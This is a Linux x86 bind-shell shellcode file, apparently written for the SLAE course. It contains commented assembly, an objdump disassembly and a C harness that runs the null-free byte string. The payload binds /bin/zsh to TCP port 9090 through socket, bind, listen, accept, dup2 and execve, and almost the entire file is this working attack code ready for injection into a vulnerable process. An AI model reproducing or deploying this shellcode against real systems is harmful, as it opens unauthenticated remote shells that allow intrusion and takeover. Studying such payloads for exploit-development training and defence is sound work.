/*
;
; Linux x86
; Author: thryb
; Date: 13-07-16
; Purpose: Bind /bin/zsh to TCP port 9090
; Size: 96 bytes
; ID: SLAE-770
; Git: https://www.github.com/thryb/SLAE-770
;
global _start
section .text
_start:
xor eax, eax ; cleaning registers for sanity
xor ebx, ebx
xor edx, edx
xor edi, edi
; 1 - create socket
; socket(AF_INET, SOCK_STREAM, 0);
; #define SYS_SOCKET 1 // sys_socket(2)
push eax ; null
mov al, 0x66 ; sys_socketcall = 102
mov bl, 0x1 ; socketcall() socket = 1
push byte 0x1 ; stack = 0, 1
push byte 0x2 ; stack = 0, 1, 2 (0, SOCK_STREAM, AF_INET)
mov ecx, esp ; mov stack ptr to ecx
int 0x80 ; init
; 2 - Bind port
; bind(fd, (struct sockaddr *) &s_addr, 16);
; #define SYS_BIND 2 // sys_bind(2)
xchg edi, eax ; transfer fd to edi
mov al, 0x66 ; sys_socketcall = 102
pop ebx ; sys_bind = 2
pop esi ; = 1
push edx ; stack = [0]
push word 0x8223 ; stack = [0, port_num]
push word bx ; stack = [0, port_num, 2]
push byte 16 ; stack = [0, port_num, 2], 16
push ecx ; stack = [0, port_num, 2], 16, pointer
push edi ; stack = [0, port_num, 2], 16, *ptr, fd
mov ecx, esp ; move stack ptr to ecx
int 0x80 ; init
; 3 - Listen
; listen(fd, 1);
; #define SYS_LISTEN 4 // sys_listen(2)
pop edx ; save fd
mov al, 0x66 ; sys_socketcall = 102
add bl, 0x2 ; bl + 2 (bl 2 from bind)
int 0x80 ; init
; 4 - Accept
; accept(fd, NULL, NULL);
; #define SYS_ACCEPT 5 // sys_accept(2)
push eax ; 0 - NULL
push eax ; 0 - NULL
mov al, 0x66 ; sys_socketcall = 102
inc ebx ; make 5 for listen (4 from listen)
push edx ; push fd on stack
mov ecx, esp ; move stack ptr to ecx
int 0x80 ; init
; 5 - dup
; sys_dup2 = 63 = 0x3f
xchg eax, ebx ; ebx = fd / eax = 5
xor ecx, ecx ; NULL ecx
add cl, 0x2 ; add 2 to counter
dup2: ; STDIN, STDOUT, STDERR
mov al, 0x3f ; sys_dup2
int 0x80 ; init
dec cl ; decrement counter
jns dup2 ; Jump on No Sign (Positive)
; 6 - execve /bin/zsh
; normal execve shell exec
push eax
push 0x68737a2f ; hsz/
push 0x6e69622f ; nib/
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb ; sys_execve (11)
int 0x80 ; init
============================================================================================================
No NULL
./bind-sh-tcp-9090: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 d2 xor %edx,%edx
8048066: 31 ff xor %edi,%edi
8048068: 50 push %eax
8048069: b0 66 mov $0x66,%al
804806b: b3 01 mov $0x1,%bl
804806d: 6a 01 push $0x1
804806f: 6a 02 push $0x2
8048071: 89 e1 mov %esp,%ecx
8048073: cd 80 int $0x80
8048075: 97 xchg %eax,%edi
8048076: b0 66 mov $0x66,%al
8048078: 5b pop %ebx
8048079: 5e pop %esi
804807a: 52 push %edx
804807b: 66 68 23 82 pushw $0x8223
804807f: 66 53 push %bx
8048081: 6a 10 push $0x10
8048083: 51 push %ecx
8048084: 57 push %edi
8048085: 89 e1 mov %esp,%ecx
8048087: cd 80 int $0x80
8048089: 5a pop %edx
804808a: b0 66 mov $0x66,%al
804808c: 80 c3 02 add $0x2,%bl
804808f: cd 80 int $0x80
8048091: 50 push %eax
8048092: 50 push %eax
8048093: b0 66 mov $0x66,%al
8048095: 43 inc %ebx
8048096: 52 push %edx
8048097: 89 e1 mov %esp,%ecx
8048099: cd 80 int $0x80
804809b: 93 xchg %eax,%ebx
804809c: 31 c9 xor %ecx,%ecx
804809e: 80 c1 02 add $0x2,%cl
080480a1 <dup2>:
80480a1: b0 3f mov $0x3f,%al
80480a3: cd 80 int $0x80
80480a5: fe c9 dec %cl
80480a7: 79 f8 jns 80480a1 <dup2>
80480a9: 50 push %eax
80480aa: 68 2f 7a 73 68 push $0x68737a2f
80480af: 68 2f 62 69 6e push $0x6e69622f
80480b4: 89 e3 mov %esp,%ebx
80480b6: 50 push %eax
80480b7: 89 e2 mov %esp,%edx
80480b9: 53 push %ebx
80480ba: 89 e1 mov %esp,%ecx
80480bc: b0 0b mov $0xb,%al
80480be: cd 80 int $0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xd2\x31\xff\x50\xb0\x66\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x97\xb0\x66\x5b\x5e\x52\x66\x68"
// ==== Port ====
"\x23\x82"
// ==============
"\x66\x53\x6a\x10\x51\x57\x89\xe1\xcd\x80\x5a\xb0\x66\x80\xc3\x02\xcd\x80\x50\x50\xb0\x66\x43\x52\x89\xe1\xcd\x80\x93\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
